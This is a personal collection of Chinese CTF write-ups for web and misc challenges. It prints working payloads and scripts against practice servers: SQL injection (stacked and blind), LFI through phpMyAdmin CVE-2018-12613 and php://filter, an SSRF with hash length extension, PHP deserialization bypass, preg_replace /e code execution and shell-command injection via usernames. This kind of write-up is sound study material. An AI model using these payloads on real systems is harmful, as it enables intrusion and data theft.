Warmup进去后查看网页源代码，发现source.php，打开得到源码。审计源码，不会做QAQ。感觉urldecode可以搞事情。打开谷歌，查找资料，找到了这个: phpmyadmin 4.8.1 远程文件包含漏洞（CVE-2018-12613构造payload：http://web5.buuoj.cn/source.php?file=hint.php%253f../../../../../../ffffllllaaaagggg得到flag。随便注这道题是国赛中写过的题目。上次忘记写wp了，这次就当复现了。注入，简单测试，发现select被ban了。用分号隔开来执行多条语句：/?inject=1%27;show%20databases%23成功查出数据库库名。接着查表：/?inject=1%27;use%20supersqli;show%20tables%23查列：/?inject=1%27;use%20supersqli;show%20tables;show%20columns%20from%20words%23 /?inject=1%27;use%20supersqli;show%20tables;show%20columns%20from`1919810931114514`%23发现那一串数字的列里面有flag。不能用select如何查字段呢？整理一下逻辑：后端从words表里面取出我们输入所对应的语句，那么可以通过这里来取出我们想要的flag。简单测试一下，如果没有id字段会直接报错，于是要把所有语句都放在一起。Payload如下：/?inject=1%27;use%20supersqli;show%20tables;ALTER%20TABLE%20words%20RENAME%20TO%20row;ALTER%20TABLE`1919810931114514`RENAME%20TO%20words;alter%20table%20words%20add%20id%20int(4)%23接着在最开始的界面中注入得到flag：http://web16.buuoj.cn/?inject=1%27+or+1%3D1%23adminhctf_flask-master.zip这题我在测试的时候让它报错了……然后直接拿到了一个 Python 的沙盒……然后就任意代码执行拿到 flag 了……大佬的 writeup ：https://www.anquanke.com/post/id/164086#h2-0Hack World基于布尔的盲注。简单测试了一下发现过滤了空格和*，那就用 TAB 来代替。上脚本：import requests import string flag = "" url = "http://web43.buuoj.cn/index.php" characters = string.ascii_letters + string.digits + string.punctuation for i in range(1, 268): next_pos = False for j in characters: payload = "id=0^(ascii(substr((select(flag)from\tflag),{0},1))={1})".format(i, ord(j)) data = {"id": payload} #print (data) response = requests.post(url, data=data) if "Hello, glzjin wants a girlfriend." in response.text: next_pos = True flag += j break print (flag) if (next_pos == False): break print (flag)piapiapiahttps://blog.domineto.top/CTF/619.html[De1CTF 2019]SSRF Medelta_2019_web_ssrfme-master.zip进去之后直接给了源码。题目提示了flag在 ./flag.txt 这个文件里面，于是想到 LFI。寻找可以进行 LFI 的地方，在scan 函数中找到了 urlopen 这个函数。urlopen 可以通过 file:// 流来进行读取本地文件。向上回溯，这里有两个地方需要绕过：action 中需要包含 read 字符串，这里有一个加盐MD5需要绕过。题目的 waf 过滤了 gopher 和 file 关键字第一个地方盐加在字符串的前面，且盐的长度已知，所以可以通过哈希长度扩展攻击来绕过。第二个地方可以用 CVE-2019-9948 绕过。将 file 改为 local_file 即可绕过。exp#encoding: utf-8 import hashpumpy import requests import urllib url = "http://139.180.128.86/" payload = "local_file:flag.txt" r = requests.get(url + "geneSign", params = {"param": payload}) row_sign = r.text sign = hashpumpy.hashpump(row_sign, payload + "scan", "read", 16) r = requests.get(url + "De1ta", params = {"param": payload}, cookies = { "sign": sign[0], "action": urllib.quote(sign[1][len(payload):]) }) print (r.text)
WebGame简单调试一下发现一些神奇的代码:if(score == 15) { $.ajax({ url: 'score.php', type: 'POST', data: 'score='+score, success: function(data){ var data = data; $("#output").text(data); } }) }于是 POST 一个 score=15 上去得到 flag 。who_are_you?XXE + 伪协议读 index.php 的源码：show_me_your_image这题是赛后复现的……hint 有一个 base64 ，解码又都是乱码，猜测被魔改过。于是写脚本爆编码表。爆完后就可以任意文件读取了。# encoding: utf-8 import re import requests import base64 import string import urllib def f(c): a = string.ascii_letters + string.digits for i in a: for j in a: for k in a: for l in a: tmp = i+j+k+l tmp = str(base64.b64encode(tmp.encode('utf-8')), "utf-8") if c in tmp[:-3]: return i+j+k+l def GetTable(url): a = string.ascii_letters + string.digits res = {'=': '='} for i in a: if i == 'f' or i == '7': continue s = f(i) row = str(base64.b64encode(s.encode("utf-8")), "utf-8") files = {'file':(s + ".png", '')} headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0' } sess = requests.session() r = sess.post(url=url, files=files, headers=headers) pattern = re.compile('name=(.*)?"') change = urllib.parse.unquote(re.findall(pattern, r.text)[1]) res[i] = change[row.index(i)] # print (res) return res # url = "http://c0b835ad52ee4262b54b46c2898668cabd947f96cd41440d.changame.ichunqiu.com/upload.php" # table = GetTable(url) # print (table) def MyBase64(row, table): tmp = str(base64.b64encode(row.encode('utf-8')), "utf-8") res = "" for i in tmp: res += table[i] return res def GetFlag(url, payload, table): sess = requests.session() payload = url + urllib.parse.quote(MyBase64(payload, table)) r = sess.get(payload) return (r.text) table = {'=': '=', 'a': 'T', 'b': 'A', 'c': 'j', 'd': 'S', 'e': '6', 'g': 'e', 'h': 'f', 'i': 'x', 'j': 'k', 'k': '9', 'l': 'V', 'm': 'X', 'n': 'g', 'o': 'v', 'p': 's', 'q': 'R', 'r': 'c', 's': 'u', 't': 'F', 'u': '+', 'v': '8', 'w': 'p', 'x': 'H', 'y': '4', 'z': 'B', 'A': '/', 'B': 'd', 'C': '3', 'D': 'y', 'E': 'i', 'F': 'N', 'G': 'm', 'H': 'o', 'I': '7', 'J': 'C', 'K': 'z', 'L': 'a', 'M': 'l', 'N': 'D', 'O': 'w', 'P': '2', 'Q': 'q', 'R': 'W', 'S': 'Z', 'T': '5', 'U': 'J', 'V': 'P', 'W': 'Y', 'X': 'L', 'Y': '0', 'Z': 'M', '0': '1', '1': 'r', '2': 'O', '3': 'U', '4': 'b', '5': 'h', '6': 'K', '8': 't', '9': 'n'} url = "http://c0b835ad52ee4262b54b46c2898668cabd947f96cd41440d.changame.ichunqiu.com/img.php?name=" # payload = "../../../../../proc/self/cwd/templates/upload.html" payload = "../../../../../../root/flag.txt" # payload = "../../../../../proc/self/cwd/app.py" # 读源码用 # print (urllib.parse.quote(MyBase64(payload, table))) print (GetFlag(url, payload, table)) 爆出来的源码: [collapse title="app.py" status="false"]import os from urllib import parse from base64 import b64decode, b64encode from utils import r_encode, r_decode, read_file from flask import render_template, Response from flask import Flask, session, redirect, request from werkzeug.utils import secure_filename app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(24) UPLOAD_FOLDER = '/tmp/uploads/' ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'} app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS @app.route('/') @app.route('/index.php') def home(): file = session.get('file') if file: file = bytes.decode(file) file = parse.quote(file) return render_template('index.html', file=file) @app.route('/upload.php', methods=['POST']) def upload(): if request.method == 'POST': file = request.files['file'] if file and allowed_file(file.filename): if not os.path.exists(app.config['UPLOAD_FOLDER']): os.makedirs(app.config['UPLOAD_FOLDER']) filename = secure_filename(file.filename) file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) else: return "不允许的格式" session['file'] = r_encode(b64encode(str.encode(file.filename))) return redirect('/') @app.route('/img.php', methods=['GET']) def img(): file = request.args.get("name") file = r_decode(str.encode(file)) file = b64decode(file) file = UPLOAD_FOLDER + bytes.decode(file) image = read_file(file) return Response(image, mimetype="image/jpeg") if __name__ == '__main__': app.run( host = '0.0.0.0', port = 80, )[/collapse]按F注入i这题不会做 QAQ 先留个坑，后面会写了再补吧……Misc签到题DNS 的 TXT 记录七代目qidaimu_9d2ce4c0e6ffcc36316bbec1ccd64ac8.zip解压的 GIF 并不能打开，拖进 010 发现文件头不对。修改文件头后拖出来每一帧单独查看，在第七帧发现 flag 。亚萨西yasaxi_45d7d3f89b50ad351e8bc385b591fd80.zip解压需要密码。拖进 010 ，在文件最后发现密码 loli 。输入后解压出一张图片。再次拖进 010 ，在尾部发现一串奇怪的字符：..... ..... ..... ..... !?!!. ?.... ..... ..... ..... .?.?! .?... .!... ..... ..... !.?.. ..... !?!!. ?!!!! !!?.? !.?!! !!!.. ..... ..... .!.?. ..... ...!? !!.?. ..... ..?.? !.?.. ..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!!! !!!!. ?.... ..... ....! ?!!.? !!!!! !!!!! !!?.? !.?!! !!!!! !!!!! !!!!! !!!!! !.!!! !!!!! !!!!! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?.. ..!.? ..... ..... ...!? !!.?! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!.? ..... ..... ...!? !!.?. ..... ..... .?.?! .?... ..... ..... ...!. ..!.! !!!!. ?.... ..... ..... .!?!! .?!!! !!!!! !!!!! !?.?! .?!!! !!!!. ..... ..... ..!.! !!.!! !.!!! .!!!! !!!.. ..... ..... ...!. ?.... ..... ....! ?!!.? ..... ..... ..?.? !.?.. ..... ..... ..... .!.?. ..... ..... ..!?! !.?!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!!!! !!!!! !!.!! !!!.! !!!!! !!!.? ..... ..!?! !.?.. ....? .?!.? ..... .!.?. ..... ..... ..!?! !.?.. ..... ..... ?.?!. ?.... ..... ..... ....! .!!!. !!!!! !!.?. ..... ..... ....! ?!!.? !!!!! !!!!! !!!!? .?!.? !!!!! !!!!. ..... ...!. ..... ..... ..!.! !!... ..!.? ..... ..... ...!? !!.?. ..... ..... .?.?! .?... ..... ..!.? ..... ..... ...!? !!.?! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!.!! !.?.. ..... ..... .!?!! .?... ..... ....? .?!.? ..... ..... ..... .!.?. ..... ..... ..!?! !.?!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!!!! !!!!! !!.!. ?.... ..... ..... .!?!! .?... ..... ..... .?.?! .?!.! !!!!. ?.... ..... ..!?! !.?.. ..... ...?. ?!.?. ...!. ?.发现是 Ook! 编码。解码后得到 flag 。24word24word_f5daa518d8105b033507ea9184323b27.zip拖进 binwalk 发现有个加密的压缩包。密码是图片中的[核心价值观编码]( http://ctf.ssleye.com/cvencode.html)……自由和谐公正诚信平等公正自由公正平等平等公正公正民主公正诚信文明法治平等公正平等法治和谐 --> CodeValues解压后是一张图片，里面有一个二维码，扫描得到 flag 。
由于本蒟蒻实力有限，wp可能写的不好，所以请大佬轻喷。(不完整？说了我是蒟蒻，写不完很正常好吧(ノ｀Д)ノ )WebNaNNaNNaNNaN-Batman这道题是我做过的题，所以并没有卡多久。下载下来的文件含有一堆乱码，但还是可以看懂一些的。这段代码定义了一个变量 _ (什么鬼命名(╯‵□′)╯︵┻━┻)，最后有一句 eval(\_) 。将 eval 改成 alert ，就可以输出正确的代码了：function $() { var e=document.getElementById("c").value; if(e.length==16) if(e.match(/^be0f23/)!=null) if(e.match(/233ac/)!=null) if(e.match(/e98aa$/)!=null) if(e.match(/c7be9/)!=null) { var t=["fl","s_a","i","e}"]; var n=["a","_h0l","n"]; var r=["g{","e","_0"]; var i=["it'","_","n"]; var s=[t,n,r,i]; for(var o=0;o<13;++o) { document.write(s[o%4][0]); s[o%4].splice(0,1) } } } document.write(' Ok ');delete _到这里有两种解法。构造一个字符串满足那几个 if 就可以了。(我那么懒怎么可能这样做嘛 :D)既然最后都是要执行 if 里面的那一串代码，那我就单独把它拿出来执行不久得到flag了吗？拿出来放进console，得到flag。unserialize3这道题考察的知识点有两个：反序列化绕过魔术方法 _wakeup (PHP反序列化注入漏洞)直接上exp吧：<?php class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } } $a = new xctf(); echo serialize($a); ?>payload:http://111.198.29.45:59722/?code=O:4:%22xctf%22:5:{s:4:%22flag%22;s:3:%22111%22;}CAT这道题算是涨姿势了(我承认我是看了wp之后才会的)。进去后是一个 ping IP 的网页，随便填一个IP，啧啧啧，直接把所有信息返回了。尝试命令执行，发现除了 . 以外的特殊字符全给 ban 了…… Fuzz一通发现 %a0 这个字符让它报错了，然后就不知道怎么办了…………下面就摘抄一下大佬的wp吧：查看官方的wp开始的时候并不是很理解为什么输入为%80(以及%80之后的url编码)就可以返回Django报错，查看url编码表后结合报错信息UnicodeEncodeError可以推断是由于ascii编码不支持导致的报错,根据报错信息可以得到的信息网站是使用Django进行开发的,结合PHP可以通过在参数中注入@来读取文件的漏洞,依次查看python的配置文件和数据库得到flag的内容payload:?url=@/opt/api/api/settings.py,获取数据库名:os.path.join(BASE_DIR, \\\'database.sqlite3\\\'),\npayload:?url=@/opt/api/database.sqlite3,获取数据库内容，搜索关键字 CTF 就可以找到 flag 了。这道题等我彻底弄清楚后再总结吧。(其实我还是有点懵)ics-05工控云管理系统。进去瞎点一通发现 index.php 这个文件。进去接着瞎点发现它接受一个参数 page 。嗯……那就试试 page=index.html。发现包含了之前的主页。明显的 LEI，那就上伪协议读一波源码:http://111.198.29.45:39091/index.php?page=php://filter/read=convert.base64-encode/resource=index.php源码：<?php error_reporting(0); @session_start(); posix_setuid(1000); ?> 设备维护中心 云平台设备维护中心 设备列表 <?php $page = $_GET[page]; if (isset($page)) { if (ctype_alnum($page)) { ?> <?php echo $page; die();?> <?php }else{ ?> <?php if (strpos($page, 'input') > 0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> <?php }} //方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo " Welcome My Admin ! "; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?> 最后那边明显有问题。打开谷歌，再次涨知识了：perge_replace 这个函数可以进行代码执行。参考文章：https://xz.aliyun.com/t/2557https://www.secpulse.com/archives/74839.html于是先加XFF头，然后上 payload：/index.php?pat=/(.*)/ei&rep=system('ls')&sub=aaGetshell后直接拿flag即可。Triangle这道题emmmm 明明是个逆向题套了个 web 的外壳。题目用了一堆 JS ，把 JS 源码扒出来如下：[collapse title="index.js" status="false"]if(navigator.userAgent.toLowerCase().indexOf('firefox') > -1){ var o1 = [220, 8, 440, 642, 5, 189, 440, 642, 24, 249, 440, 642, 8, 300, 440, 280, 8, 1, 440, 280, 8, 219, 440, 280, 8, 162, 178, 60, 8, 517, 857, 60, 485, 517, 53, 497, 295, 219, 79, 497, 8, 8, 130, 280, 8, 8, 8, 5, 36, 517, 460, 497, 25, 8, 15, 642, 485, 8, 8, 6, 295, 8, 19, 497, 295, 189, 900, 497, 295, 300, 72, 497, 36, 8, 40, 642, 484, 131, 131, 520, 295, 1, 440, 280, 8, 8, 440, 280, 8, 189, 440, 280, 8, 162, 440, 280, 8, 249, 440, 280, 8, 300, 440, 280, 8, 517, 440, 280, 8, 253, 440, 280, 8, 19, 440, 280, 8, 74, 440, 280, 8, 440, 440, 280, 8, 219, 440, 280] ; var o2 = [24, 8, 105, 419, 80, 414, 105, 419, 5, 439, 105, 419, 8, 447, 105, 192, 8, 1, 105, 192, 8, 91, 104, 891, 70, 8, 330, 192, 70, 8, 8, 6, 64, 63, 64, 381, 25, 91, 632, 155, 25, 91, 632, 381, 70, 1, 76, 381, 8, 91, 417, 891, 70, 8, 19, 381, 70, 414, 82, 381, 70, 447, 555, 381, 176, 8, 139, 419, 220, 141, 141, 635, 8, 8, 105, 192, 8, 414, 105, 192, 8, 439, 105, 192, 8, 447, 105, 192, 8, 91, 105, 192, 8, 1, 105, 192, 8, 63, 105, 192, 8, 693, 105, 192, 8, 46, 105, 192, 8, 105, 105, 192] ; var o3 = [105, 134, 235, 31, 530, 39, 39, 105, 817, 1, 53, 479, 479, 97, 479, 160, 693, 54, 479, 31, 498, 817, 479, 530, 674, 335, 597, 90, 134, 134, 134, 344] ; } else{ var o1 = [305, 8, 485, 346, 5, 394, 485, 346, 24, 460, 485, 346, 8, 172, 485, 259, 8, 1, 485, 259, 8, 177, 485, 259, 8, 112, 349, 822, 8, 372, 86, 822, 286, 372, 106, 619, 63, 177, 61, 619, 8, 8, 60, 259, 8, 8, 8, 5, 64, 372, 317, 619, 25, 8, 15, 346, 286, 8, 8, 6, 63, 8, 19, 619, 63, 394, 226, 619, 63, 172, 591, 619, 64, 8, 40, 346, 618, 148, 148, 104, 63, 1, 485, 259, 8, 8, 485, 259, 8, 394, 485, 259, 8, 112, 485, 259, 8, 460, 485, 259, 8, 172, 485, 259, 8, 372, 485, 259, 8, 526, 485, 259, 8, 19, 485, 259, 8, 217, 485, 259, 8, 485, 485, 259, 8, 177, 485, 259] ; var o2 = [24, 8, 355, 223, 317, 515, 355, 223, 5, 195, 355, 223, 8, 250, 355, 379, 8, 1, 355, 379, 8, 287, 431, 100, 101, 8, 200, 379, 101, 8, 8, 6, 203, 170, 203, 268, 25, 287, 678, 199, 25, 287, 678, 268, 101, 1, 76, 268, 8, 287, 1205, 100, 101, 8, 19, 268, 101, 515, 1446, 268, 101, 250, 186, 268, 198, 8, 337, 223, 81, 50, 50, 119, 8, 8, 355, 379, 8, 515, 355, 379, 8, 195, 355, 379, 8, 250, 355, 379, 8, 287, 355, 379, 8, 1, 355, 379, 8, 170, 355, 379, 8, 184, 355, 379, 8, 617, 355, 379, 8, 355, 355, 379] ; var o3 = [52, 853, 58, 31, 908, 39, 39, 52, 197, 1, 86, 786, 786, 370, 786, 79, 177, 343, 786, 31, 106, 197, 786, 908, 331, 344, 227, 491, 853, 853, 853, 496] ; } function login(){ var input = document.getElementById('password').value; var enc = enc_pw(input); var pw = get_pw(); if(test_pw(enc, pw) == 1){ alert('Well done!'); } else{ alert('Try again ...'); } }[/collapse][collapse title="util.js" status="false"]function stoh(t) { return t.split("").map(function(t) { return t.charCodeAt(0) }) } function htos(t) { return String.fromCharCode.apply(String, t) } function getBase64Image(t) { var e = document.getElementById(t), a = document.createElement("canvas"); a.width = e.width, a.height = e.height; var n = a.getContext("2d"); n.drawImage(e, 0, 0); var r = a.toDataURL("image/png"); return r.replace(/^data:image\/(png|jpeg);base64,/, "") } function get_pw() { for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++) _ += String.fromCharCode(e[o3[t]]); return _ }[/collapse][collapse title="secret.js" status="false"]function test_pw(e, _) { var t = stoh(atob(getBase64Image("eye"))), r = 4096, m = 8192, R = 12288, a = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM); a.reg_write_i32(uc.ARM_REG_R9, m), a.reg_write_i32(uc.ARM_REG_R10, R), a.reg_write_i32(uc.ARM_REG_R8, _.length), a.mem_map(r, 4096, uc.PROT_ALL); for (var o = 0; o < o1.length; o++) a.mem_write(r + o, [t[o1[o]]]); a.mem_map(m, 4096, uc.PROT_ALL), a.mem_write(m, stoh(_)), a.mem_map(R, 4096, uc.PROT_ALL), a.mem_write(R, stoh(e)); var u = r, c = r + o1.length; return a.emu_start(u, c, 0, 0), a.reg_read_i32(uc.ARM_REG_R5) } function enc_pw(e) { var _ = stoh(atob(getBase64Image("frei"))), t = 4096, r = 8192, m = 12288, R = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM); R.reg_write_i32(uc.ARM_REG_R8, r), R.reg_write_i32(uc.ARM_REG_R9, m), R.reg_write_i32(uc.ARM_REG_R10, e.length), R.mem_map(t, 4096, uc.PROT_ALL); for (var a = 0; a < o2.length; a++) R.mem_write(t + a, [_[o2[a]]]); R.mem_map(r, 4096, uc.PROT_ALL), R.mem_write(r, stoh(e)), R.mem_map(m, 4096, uc.PROT_ALL); var o = t, u = t + o2.length; return R.emu_start(o, u, 0, 0), htos(R.mem_read(m, e.length)) } function get_pw() { for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++) _ += String.fromCharCode(e[o3[t]]); return _ }[/collapse]还有一个是 unicorn.js ，都是库函数就不写出来了。简单分析一下：get_pw() 这个函数没有参数，且输出是固定的。test_pw() 和 enc_pw() 这两函数都是用 unicorn 虚拟化一个 CPU ，然后在内存中执行的。根据官方的 Tutorial可以分析出。那么现在需要考虑的就是如何获取内存中的源码。写个 JS 脚本将应该写入到内存中的源码以十六进制的形式输出出来：function getARM1(){ var t = stoh(atob(getBase64Image("eye"))); var res = new Array(); for (var o = 0; o < o1.length; o++) res[o] = t[o1[o]]; return res; } function getARM2(){ var x = stoh(atob(getBase64Image("frei"))); var res = new Array(); for(var i = 0; i < o2.length ; i++) res[i] = x[o2[i]]; return res; } function ToHex(a){ return Array.from(a, function(tmp){ return ('0' + (tmp & 0xFF).toString(16)).slice(-2); }).join(''); } ToHex(getARM1()); ToHex(getARM2()); 得到源码后放进 IDA ，按下 F5 反汇编就很好逆向了(记得选 ARM 架构，源码有给)。这里就直接放解密脚本吧：function test_rev(pw) { pw = stoh(pw) var res = new Array(); for (var i = 0; i < pw.length; i++) { var tmp = pw[i] - 5; if (i & 1) tmp += 3; res[i] = tmp; } return res; } function enc_rev(ciphertext) { var flag = 0; var res = new Array(); for (var i = 0; i < ciphertext.length; i++) { var tmp = ciphertext[i] - 6; if (flag == 1) tmp -= i & 3; flag = ciphertext[i] & 1; res[i] = tmp; } return res; } htos(enc_rev(test_rev(get_pw())))这道题我踩了两个坑：我最开始是用 Chorme 开的，结果怎么都拿不到正确的源码。经过大佬提示用火狐才得到正确的源码。还是太菜，没有注意到题目中的两个数组。做的时候忽略了密码有一个 stoh 函数的转换，导致一开始用 python 写的脚本怎么都写不对qwq 还是我太菜啊wtf.sh这道题我拿到后十分懵圈，最后是查了 wp 才做出来的(我好菜啊qwq)。这题打开后瞎点，发现两个地方可能有文件包含漏洞，满怀希望的去尝试，未果。查了 wp 后发现可以用 ../ 进行目录穿越，然后拿到源码。(具体为什么我后面研究了再写下来吧) 它将当前目录下所有的文件都输出出来了。于是搜索一下 flag 关键字，发现在 profile.wtf 中有 get_flag1 函数，于是扒下来源码分析: [collapse title="profile.wtf" status="false"] $ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}" $ then $ local username=$(head -n 1 users/${URL_PARAMS['user']}); $ echo " ${username}'s posts: "; $ echo " "; $ get_users_posts "${username}" | while read -r post; do $ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}"); $ echo " $(nth_line 2 "${post}" | htmlentities) "; $ done $ echo " "; $ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] $ then $ get_flag1 $ fi $ fi [/collaspe]发现如下部分：$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] $ then $ get_flag1 $ fi只要以 admin 登录就可以得到 flag 了。注册一个账户，查看 cookie 信息，发现还有一个 token 未知。在前面的源码中知道了有 user/ 这个目录，继续遍历，发现了得到 admin 的 token ，就可以去拿 flag 了。GET 里面的 user 记得改。(这个很简单吧？)然后拿到了半个 flag …………半个 flag …………行吧，那就继续。.wtf 这个后缀没见过啊，那就是存在解析它的文件。这里还有一处源码泄露 ./wtf.sh 这个目录。访问可以知道 .wtf 是如何解析的：[collapse title="wtf.sh" status="false"]max_page_include_depth=64 page_include_depth=0 function include_page { # include_page pathname local pathname=$1 local cmd= [[ ${pathname(-4)} = '.wtf' ]]; local can_execute=$; page_include_depth=$(($page_include_depth+1)) if $page_include_depth -lt $max_page_include_depth then local line; while read -r line; do # check if we're in a script line or not ($ at the beginning implies script line) # also, our extension needs to be .wtf [[ $ = ${line01} && ${can_execute} = 0 ]]; is_script=$; # execute the line. if $is_script = 0 then cmd+=$'n'${line#$}; else if -n $cmd then eval $cmd log Error during execution of ${cmd}; cmd= fi echo $line fi done ${pathname} else echo pMax include depth exceeded!p fi }[/collapse]可以看到，.wtf 文件解析就是逐行扫描，如果以 $ 开头就将剩下的数据当成代码来执行。eval 高危函数啊！那么就找一下哪里可以让我们利用这个。我们还没有分析的页面还有 Logout, New Post 和 reply 。简单分析一下， Logout 和 New Post 都没什么可用的东西。倒是 reply 中有些有意思的东西：[collapse title="reply" status="false"]function reply { local post_id=$1; local username=$2; local text=$3; local hashed=$(hash_username "${username}"); curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1); next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}"); next_file=(posts/${post_id}/${next_reply_id}); echo "${username}" > "${next_file}"; echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}"; echo "${text}" >> "${next_file}"; # add post this is in reply to to posts cache echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts"; }[/collapse]这个 reply 会把用户名写进一个文件里面，这就给我们机会了。这有个 users_lookup 目录，发现它是 777 权限的(哦豁!)：reply 函数会将我们的输入写入 users_lookup/${hashed}/posts 这个路径。我们可以用目录穿越来将数据写入到我们想要的地方。测试了一下后上传的文件名最后会加上一个 # ，故后面需要加 %09 绕过，不然无法生成 .wtf 文件。于是流程如下：注册一个用户名为 ${find,/,-name,*flag*} 的用户登录并回复一个贴抓包改包如下：访问 users_lookup/c.wtf 这个路径……woc 这么多？根据之前的函数 get_flag1 猜测 flag 为 get_flag2构造用户名为 $/usr/bin/get_flag2 的用户重复上述 2，3，4 流程，得到 flag。mfw这题也是写过的原题。.git 源码泄露，字符串拼接时的命令执行。详情看这里吧: Jarvisoj-babyphpnewscenter这个也是做过的原题，没有任何过滤的注入，懒得写了 XD不会重新学注入去。web2这道题很明确，就是解密。直接上 payload：<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function encode($str){ $_o=strrev($str); // echo $_o; for($_0=0;$_0<strlen($_o);$_0++){ $_c=substr($_o,$_0,1); $__=ord($_c)+1; $_c=chr($__); $_=$_.$_c; } return str_rot13(strrev(base64_encode($_))); } function decode($str) { $a = base64_decode(strrev(str_rot13($str))); $res = ""; for($_0=0;$_0<strlen($a);$_0++) { $_c=substr($a,$_0,1); $__=ord($_c)-1; $_c=chr($__); $res .= $_c; } return strrev($res); } echo decode($miwen); ?>(想打死命名的人……)Misceasycap签到题。进去追踪 TCP 流就可以拿到 flag 了。肥宅快乐题一个 flash 做的小游戏。如果愿意玩的话可以尝试打通关 (ಡωಡ) 我找了个播放器，直接把进度拖到结局，拿到flag。小小的PDF这题的pdf文件拿 binwalk 跑一下，发现有三张图片。再用 foremost 跑一下就出来了。神奇的Modbus这题挺玄学的。流量包过滤出 Modbus 的包，追踪 TCP 流，拿到flag：sctf{Easy_Mdbus}嗯？不对？？加个 o，改为：sctf{Easy_Modbus}，flag正确。(为什么我也不知道 XD)mysql这道题emmmm，我看到 ibdata1 这个文件看着像存数据的，于是拖进 WinHex ，搜索了一下 flag 关键字，结果就出来了……至于这是不是正解我也不清楚qwq很普通的数独这题的脑洞也是大，看了 wp 后我才知道 (x_x)解压出25个数独的图片，但是并不用做数独，将有数字的部分填充为黑色，没有数字保持白色，25个图，5*5构成一个二维码。这个脑洞emmmm，涨知识了。神奇的压缩文件这道题的脑洞感觉就像刷新了我的认知。关于 NTFS 文件流我还不是很清楚，先贴一个大佬的 wp 吧。http://blog.2bsticker.cn/2016/10/11/L-ctf%E7%A5%9E%E5%A5%87%E7%9A%84%E5%8E%8B%E7%BC%A9%E6%96%87%E4%BB%B6/Cephalopod又是流量分析题。过滤出Ceph的流量包，然后追踪 TCP 流。发现有一串特别长的东西：这明显是个png图片嘛。拖出来，删掉png头前面的东西，flag就出来了。Erik-Baleog-and-Olaf下载的附件解压后是一个没有后缀的文件。用 WinHex 查看后发现是一个 PNG 图片: 于是改后缀，用 pngcheck 看看：pngcheck -7fv stego100.png File: stego100.png (26857 bytes) chunk IHDR at offset 0x0000c, length 13 640 x 480 image, 24-bit RGB, non-interlaced chunk IDAT at offset 0x00025, length 26753 zlib: deflated, 32K window, maximum compression chunk tEXt at offset 0x068b2, length 35, keyword: hint http://i.imgur.com/22kUrzm.png chunk IEND at offset 0x068e1, length 0 No errors detected in stego100.png (4 chunks, 97.1% compression).访问 hint 后面的那个网址，得到一张几乎一样的图片：用 compare 指令比较一下：compare 22kUrzm.png stego100.png -compose src diff.png得到一个二维码。拖进 QR_Research 里面，得到flag。Miscellaneous-300这道题给了一个压缩包，但是解压需要密码。简单测试后发现压缩包内文件的文件名就是解压密码。于是简单写了个脚本解压：#encoding: utf-8 import zipfile def unzip(path, target, pwd=None): z = zipfile.ZipFile(path) for name in z.namelist(): if "zip" in name: print (name) z.extract(name, target, name[0:-4]) return name path = "D:\\Study\\CTF\Misc\\Xman\\Day2\\Miscellaneous-300\\details\\" target = "D:\\Study\\CTF\\Misc\\Xman\\Day2\\Miscellaneous-300\\res\\" filename = "73168.zip" while True: filename = unzip(path + filename, path) if "zip" not in filename: filename = unzip(path + filename, target) break解压出了 1500+ 个压缩包…………(还好不是无限的qwq)最后爆破密码，得到一个音频文件。这个就是最简单的音频隐写了。拖进 Audacity ，查看频谱图，flag就出来了。写完也好晚了，就这样吧。Good Night。
Web0x01：签到题源码[collapse title="源码" status="false"]index.php: Tips: the parameter is file! :) <?php @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo " error! "; } else { include($file.'.php'); } } ?> upload.php: file: <?php if(!empty($_FILES["file"])) { echo $_FILES["file"]; $allowedExts = array("gif", "jpeg", "jpg", "png"); @$temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg") || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg") || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png")) && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)) { move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . 